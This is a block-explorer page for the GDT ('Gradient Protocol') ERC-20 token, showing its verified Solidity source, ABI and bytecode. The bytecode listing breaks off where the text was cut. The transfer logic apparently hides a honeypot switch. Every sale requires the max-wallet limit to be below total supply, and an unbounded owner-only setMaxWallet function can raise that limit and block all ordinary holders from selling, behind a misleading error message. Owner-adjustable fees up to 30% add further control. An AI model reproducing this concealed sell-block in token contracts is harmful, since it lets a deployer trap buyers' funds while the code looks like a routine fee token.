Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
50,000,000 GDT
Holders
29
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
417,253.008015138 GDTValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
GDT
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-03-11 */ // SPDX-License-Identifier: UNLICENSE /* Website: https://gradientprotocol.io/ Telegram: https://t.me/Gradient_Protocol Twitter/X: https://twitter.com/Gradient_GDT Whitepaper: https://docs.gradientprotocol.io/ Telegram Bot: https://t.me/gradientprotocol_bot */ pragma solidity 0.8.24; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GDT is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"Gradient Protocol"; string private constant _symbol = unicode"GDT"; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; address payable private _taxWallet; uint256 private _initialBuyTax=10; uint256 private _initialSellTax=30; // will be reduced soon after launch uint256 private _finalBuyTax=3; uint256 private _finalSellTax=3; uint256 private _reduceBuyTaxAt=10; uint256 private _reduceSellTaxAt=10; uint256 private _preventSwapBefore=5; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 50_000_000 * 10**_decimals; uint256 public _maxWallet = _tTotal / 50; uint256 public _taxSwapThreshold= _tTotal / 1000; uint256 public _maxTaxSwap= _tTotal / 200; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[msg.sender] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { uint256 taxAmount=0; require(to != address(0)); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); require(tradingOpen, "GDT Token: Trading is not open yet!"); if (from == uniswapV2Pair) { require(balanceOf(to) + amount <= _maxWallet, "GDT Token: Exceeds the maxWallet."); _buyCount++; } if(to == uniswapV2Pair){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); require(_maxWallet < _tTotal, "GDT Token: Exceeds the maxWallet."); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) { swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap))); } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, _taxWallet, block.timestamp ); } function openTrading() external onlyOwner() { swapEnabled = true; tradingOpen = true; } function setMaxWallet(uint amount) external onlyOwner { _maxWallet = amount; } function manualSwap() external onlyOwner { uint amount = min(balanceOf(address(this)), _maxTaxSwap); swapTokensForEth(amount); } function setFees(uint256 _newFee) external onlyOwner{ require(_newFee<=30); _finalBuyTax=_newFee; _finalSellTax=_newFee; _initialBuyTax = _newFee; _initialSellTax = _newFee; } function excludeFromFees(address account, bool status) external onlyOwner { _isExcludedFromFee[account] = status; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600a600555601e60065560036007556003600855600a600955600a80556005600b555f600c5560326009600a6200003c9190620004bc565b6200004c906302faf080620004d3565b620000589190620004ed565b600d556103e86200006c6009600a620004bc565b6200007c906302faf080620004d3565b620000889190620004ed565b600e5560c86200009b6009600a620004bc565b620000ab906302faf080620004d3565b620000b79190620004ed565b600f556011805461ffff60a81b19169055348015620000d4575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191633179055620001356009600a620004bc565b62000145906302faf080620004d3565b335f9081526001602081815260408084209490945560038152838320805460ff1990811684179091553084528484208054821684179055737a250d5630b4cf539739df2c5dacb4c659f2488d938490527ffb19a963956c9cb662dd3ae48988c4b90766df71ea130109840abe0a1b23dba88054909116909217909155601080546001600160a01b03191683179055825163c45a015560e01b81529251919263c45a015592600480830193928290030181865afa15801562000208573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200022e91906200050d565b6001600160a01b031663c9c653963060105f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200028e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002b491906200050d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002ff573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200032591906200050d565b601180546001600160a01b0319166001600160a01b03929092169190911790556200034d3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003866009600a620004bc565b62000396906302faf080620004d3565b60405190815260200160405180910390a362000535565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200040157815f1904821115620003e557620003e5620003ad565b80851615620003f357918102915b93841c9390800290620003c6565b509250929050565b5f826200041957506001620004b6565b816200042757505f620004b6565b81600181146200044057600281146200044b576200046b565b6001915050620004b6565b60ff8411156200045f576200045f620003ad565b50506001821b620004b6565b5060208310610133831016604e8410600b841016171562000490575081810a620004b6565b6200049c8383620003c1565b805f1904821115620004b257620004b2620003ad565b0290505b92915050565b5f620004cc60ff84168362000409565b9392505050565b8082028115828204841417620004b657620004b6620003ad565b5f826200050857634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156200051e575f80fd5b81516001600160a01b0381168114620004cc575f80fd5b6111cf80620005435f395ff3fe608060405260043610610113575f3560e01c806370a082311161009d578063a9059cbb11610062578063a9059cbb1461030b578063bf474bed1461032a578063c02466681461033f578063c9567bf91461035e578063dd62ed3e14610372575f80fd5b806370a082311461025d578063715018a61461029157806382247ec0146102a55780638da5cb5b146102ba57806395d89b41146102e0575f80fd5b806323b872dd116100e357806323b872dd146101cf578063313ce567146101ee5780633d18678e1461020957806351bc3c851461022a5780635d0044ca1461023e575f80fd5b806306fdde031461011e578063095ea7b3146101695780630faee56f1461019857806318160ddd146101bb575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152601181527011dc98591a595b9d08141c9bdd1bd8dbdb607a1b60208201525b6040516101609190610d84565b60405180910390f35b348015610174575f80fd5b50610188610183366004610de4565b6103b6565b6040519015158152602001610160565b3480156101a3575f80fd5b506101ad600f5481565b604051908152602001610160565b3480156101c6575f80fd5b506101ad6103cc565b3480156101da575f80fd5b506101886101e9366004610e0e565b6103ec565b3480156101f9575f80fd5b5060405160098152602001610160565b348015610214575f80fd5b50610228610223366004610e4c565b610453565b005b348015610235575f80fd5b506102286104a6565b348015610249575f80fd5b50610228610258366004610e4c565b6104f8565b348015610268575f80fd5b506101ad610277366004610e63565b6001600160a01b03165f9081526001602052604090205490565b34801561029c575f80fd5b50610228610526565b3480156102b0575f80fd5b506101ad600d5481565b3480156102c5575f80fd5b505f546040516001600160a01b039091168152602001610160565b3480156102eb575f80fd5b5060408051808201909152600381526211d11560ea1b6020820152610153565b348015610316575f80fd5b50610188610325366004610de4565b610597565b348015610335575f80fd5b506101ad600e5481565b34801561034a575f80fd5b50610228610359366004610e7e565b6105a3565b348015610369575f80fd5b506102286105f6565b34801561037d575f80fd5b506101ad61038c366004610eb9565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103c2338484610638565b5060015b92915050565b5f6103d96009600a610fd9565b6103e7906302faf080610fe7565b905090565b5f6103f8848484610698565b610449843361044485604051806060016040528060288152602001611172602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610a38565b610638565b5060019392505050565b5f546001600160a01b031633146104855760405162461bcd60e51b815260040161047c90610ffe565b60405180910390fd5b601e811115610492575f80fd5b600781905560088190556005819055600655565b5f546001600160a01b031633146104cf5760405162461bcd60e51b815260040161047c90610ffe565b305f908152600160205260408120546104ea90600f54610a70565b90506104f581610a87565b50565b5f546001600160a01b031633146105215760405162461bcd60e51b815260040161047c90610ffe565b600d55565b5f546001600160a01b0316331461054f5760405162461bcd60e51b815260040161047c90610ffe565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6103c2338484610698565b5f546001600160a01b031633146105cc5760405162461bcd60e51b815260040161047c90610ffe565b6001600160a01b03919091165f908152600360205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461061f5760405162461bcd60e51b815260040161047c90610ffe565b6011805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b0383166106ab575f80fd5b6001600160a01b0384165f9081526003602052604090205460ff161580156106eb57506001600160a01b0383165f9081526003602052604090205460ff16155b156108fb5761071c6064610716600954600c541161070b5760055461070f565b6007545b8590610bfa565b90610c78565b601154909150600160a01b900460ff166107845760405162461bcd60e51b815260206004820152602360248201527f47445420546f6b656e3a2054726164696e67206973206e6f74206f70656e207960448201526265742160e81b606482015260840161047c565b6011546001600160a01b03908116908516036107f957600d54826107bc856001600160a01b03165f9081526001602052604090205490565b6107c69190611033565b11156107e45760405162461bcd60e51b815260040161047c90611046565b600c8054905f6107f383611087565b91905055505b6011546001600160a01b0390811690841603610870576108346064610716600a54600c541161082a5760065461070f565b6008548590610bfa565b90506108426009600a610fd9565b610850906302faf080610fe7565b600d54106108705760405162461bcd60e51b815260040161047c90611046565b305f90815260016020526040902054601154600160a81b900460ff161580156108a657506011546001600160a01b038581169116145b80156108bb5750601154600160b01b900460ff165b80156108c85750600e5481115b80156108d75750600b54600c54115b156108f9576108f96108f4846108ef84600f54610a70565b610a70565b610a87565b505b801561097357305f9081526001602052604090205461091a9082610cb9565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061096a9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546109959083610d17565b6001600160a01b0385165f908152600160205260409020556109d86109ba8383610d17565b6001600160a01b0385165f9081526001602052604090205490610cb9565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610a218585610d17565b60405190815260200160405180910390a350505050565b5f8184841115610a5b5760405162461bcd60e51b815260040161047c9190610d84565b505f610a67848661109f565b95945050505050565b5f818311610a7e5782610a80565b815b9392505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610acd57610acd6110b2565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610b24573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b4891906110c6565b81600181518110610b5b57610b5b6110b2565b6001600160a01b039283166020918202929092010152601054610b819130911684610638565b6010546004805460405163791ac94760e01b81526001600160a01b039384169363791ac94793610bbc9388935f9389939216914291016110e1565b5f604051808303815f87803b158015610bd3575f80fd5b505af1158015610be5573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b5f825f03610c0957505f6103c6565b5f610c148385610fe7565b905082610c218583611152565b14610a805760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047c565b5f610a8083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d58565b5f80610cc58385611033565b905083811015610a805760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047c565b5f610a8083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a38565b5f8183610d785760405162461bcd60e51b815260040161047c9190610d84565b505f610a678486611152565b5f602080835283518060208501525f5b81811015610db057858101830151858201604001528201610d94565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104f5575f80fd5b5f8060408385031215610df5575f80fd5b8235610e0081610dd0565b946020939093013593505050565b5f805f60608486031215610e20575f80fd5b8335610e2b81610dd0565b92506020840135610e3b81610dd0565b929592945050506040919091013590565b5f60208284031215610e5c575f80fd5b5035919050565b5f60208284031215610e73575f80fd5b8135610a8081610dd0565b5f8060408385031215610e8f575f80fd5b8235610e9a81610dd0565b915060208301358015158114610eae575f80fd5b809150509250929050565b5f8060408385031215610eca575f80fd5b8235610ed581610dd0565b91506020830135610eae81610dd0565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610f3357815f1904821115610f1957610f19610ee5565b80851615610f2657918102915b93841c9390800290610efe565b509250929050565b5f82610f49575060016103c6565b81610f5557505f6103c6565b8160018114610f6b5760028114610f7557610f91565b60019150506103c6565b60ff841115610f8657610f86610ee5565b50506001821b6103c6565b5060208310610133831016604e8410600b8410161715610fb4575081810a6103c6565b610fbe8383610ef9565b805f1904821115610fd157610fd1610ee5565b029392505050565b5f610a8060ff841683610f3b565b80820281158282048414176103c6576103c6610ee5565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808201808211156103c6576103c6610ee5565b60208082526021908201527f47445420546f6b656e3a204578636565647320746865206d617857616c6c65746040820152601760f91b606082015260800190565b5f6001820161109857611098610ee5565b5060010190565b818103818111156103c6576103c6610ee5565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156110d6575f80fd5b8151610a8081610dd0565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156111315784516001600160a01b03168352938301939183019160010161110c565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261116c57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122050da646c6b2d1bc3df5f49b904bdadb35f2e624d271a4a0a43d3837de1f6bf6c64736f6c63430008180033
Deployed Bytecode
0x608060405260043610610113575f3560e01c806370a082311161009d578063a9059cbb11610062578063a9059cbb1461030b578063bf474bed1461032a578063c02466681461033f578063c9567bf91461035e578063dd62ed3e14610372575f80fd5b806370a082311461025d578063715018a61461029157806382247ec0146102a55780638da5cb5b146102ba57806395d89b41146102e0575f80fd5b806323b872dd116100e357806323b872dd146101cf578063313ce567146101ee5780633d18678e1461020957806351bc3c851461022a5780635d0044ca1461023e575f80fd5b806306fdde031461011e578063095ea7b3146101695780630faee56f1461019857806318160ddd146101bb575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152601181527011dc98591a595b9d08141c9bdd1bd8dbdb607a1b60208201525b6040516101609190610d84565b60405180910390f35b348015610174575f80fd5b50610188610183366004610de4565b6103b6565b6040519015158152602001610160565b3480156101a3575f80fd5b506101ad600f5481565b604051908152602001610160565b3480156101c6575f80fd5b506101ad6103cc565b3480156101da575f80fd5b506101886101e9366004610e0e565b6103ec565b3480156101f9575f80fd5b5060405160098152602001610160565b348015610214575f80fd5b50610228610223366004610e4c565b610453565b005b348015610235575f80fd5b506102286104a6565b348015610249575f80fd5b50610228610258366004610e4c565b6104f8565b348015610268575f80fd5b506101ad610277366004610e63565b6001600160a01b03165f9081526001602052604090205490565b34801561029c575f80fd5b50610228610526565b3480156102b0575f80fd5b506101ad600d5481565b3480156102c5575f80fd5b505f546040516001600160a01b039091168152602001610160565b3480156102eb575f80fd5b5060408051808201909152600381526211d11560ea1b6020820152610153565b348015610316575f80fd5b50610188610325366004610de4565b610597565b348015610335575f80fd5b506101ad600e5481565b34801561034a575f80fd5b50610228610359366004610e7e565b6105a3565b348015610369575f80fd5b506102286105f6565b34801561037d575f80fd5b506101ad61038c366004610eb9565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103c2338484610638565b5060015b92915050565b5f6103d96009600a610fd9565b6103e7906302faf080610fe7565b905090565b5f6103f8848484610698565b610449843361044485604051806060016040528060288152602001611172602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610a38565b610638565b5060019392505050565b5f546001600160a01b031633146104855760405162461bcd60e51b815260040161047c90610ffe565b60405180910390fd5b601e811115610492575f80fd5b600781905560088190556005819055600655565b5f546001600160a01b031633146104cf5760405162461bcd60e51b815260040161047c90610ffe565b305f908152600160205260408120546104ea90600f54610a70565b90506104f581610a87565b50565b5f546001600160a01b031633146105215760405162461bcd60e51b815260040161047c90610ffe565b600d55565b5f546001600160a01b0316331461054f5760405162461bcd60e51b815260040161047c90610ffe565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6103c2338484610698565b5f546001600160a01b031633146105cc5760405162461bcd60e51b815260040161047c90610ffe565b6001600160a01b03919091165f908152600360205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461061f5760405162461bcd60e51b815260040161047c90610ffe565b6011805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b0383166106ab575f80fd5b6001600160a01b0384165f9081526003602052604090205460ff161580156106eb57506001600160a01b0383165f9081526003602052604090205460ff16155b156108fb5761071c6064610716600954600c541161070b5760055461070f565b6007545b8590610bfa565b90610c78565b601154909150600160a01b900460ff166107845760405162461bcd60e51b815260206004820152602360248201527f47445420546f6b656e3a2054726164696e67206973206e6f74206f70656e207960448201526265742160e81b606482015260840161047c565b6011546001600160a01b03908116908516036107f957600d54826107bc856001600160a01b03165f9081526001602052604090205490565b6107c69190611033565b11156107e45760405162461bcd60e51b815260040161047c90611046565b600c8054905f6107f383611087565b91905055505b6011546001600160a01b0390811690841603610870576108346064610716600a54600c541161082a5760065461070f565b6008548590610bfa565b90506108426009600a610fd9565b610850906302faf080610fe7565b600d54106108705760405162461bcd60e51b815260040161047c90611046565b305f90815260016020526040902054601154600160a81b900460ff161580156108a657506011546001600160a01b038581169116145b80156108bb5750601154600160b01b900460ff165b80156108c85750600e5481115b80156108d75750600b54600c54115b156108f9576108f96108f4846108ef84600f54610a70565b610a70565b610a87565b505b801561097357305f9081526001602052604090205461091a9082610cb9565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061096a9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546109959083610d17565b6001600160a01b0385165f908152600160205260409020556109d86109ba8383610d17565b6001600160a01b0385165f9081526001602052604090205490610cb9565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610a218585610d17565b60405190815260200160405180910390a350505050565b5f8184841115610a5b5760405162461bcd60e51b815260040161047c9190610d84565b505f610a67848661109f565b95945050505050565b5f818311610a7e5782610a80565b815b9392505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610acd57610acd6110b2565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610b24573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b4891906110c6565b81600181518110610b5b57610b5b6110b2565b6001600160a01b039283166020918202929092010152601054610b819130911684610638565b6010546004805460405163791ac94760e01b81526001600160a01b039384169363791ac94793610bbc9388935f9389939216914291016110e1565b5f604051808303815f87803b158015610bd3575f80fd5b505af1158015610be5573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b5f825f03610c0957505f6103c6565b5f610c148385610fe7565b905082610c218583611152565b14610a805760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047c565b5f610a8083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d58565b5f80610cc58385611033565b905083811015610a805760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047c565b5f610a8083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a38565b5f8183610d785760405162461bcd60e51b815260040161047c9190610d84565b505f610a678486611152565b5f602080835283518060208501525f5b81811015610db057858101830151858201604001528201610d94565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104f5575f80fd5b5f8060408385031215610df5575f80fd5b8235610e0081610dd0565b946020939093013593505050565b5f805f60608486031215610e20575f80fd5b8335610e2b81610dd0565b92506020840135610e3b81610dd0565b929592945050506040919091013590565b5f60208284031215610e5c575f80fd5b5035919050565b5f60208284031215610e73575f80fd5b8135610a8081610dd0565b5f8060408385031215610e8f575f80fd5b8235610e9a81610dd0565b915060208301358015158114610eae575f80fd5b809150509250929050565b5f8060408385031215610eca575f80fd5b8235610ed581610dd0565b91506020830135610eae81610dd0565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610f3357815f1904821115610f1957610f19610ee5565b80851615610f2657918102915b93841c9390800290610efe565b509250929050565b5f82610f49575060016103c6565b81610f5557505f6103c6565b8160018114610f6b5760028114610f7557610f91565b60019150506103c6565b60ff841115610f8657610f86610ee5565b50506001821b6103c6565b5060208310610133831016604e8410600b8410161715610fb4575081810a6103c6565b610fbe8383610ef9565b805f1904821115610fd157610fd1610ee5565b029392505050565b5f610a8060ff841683610f3b565b80820281158282048414176103c6576103c6610ee5565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808201808211156103c6576103c6610ee5565b60208082526021908201527f47445420546f6b656e3a204578636565647320746865206d617857616c6c65746040820152601760f91b606082015260800190565b5f6001820161109857611098610ee5565b5060010190565b818103818111156103c6576103c6610ee5565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156110d6575f80fd5b8151610a8081610dd05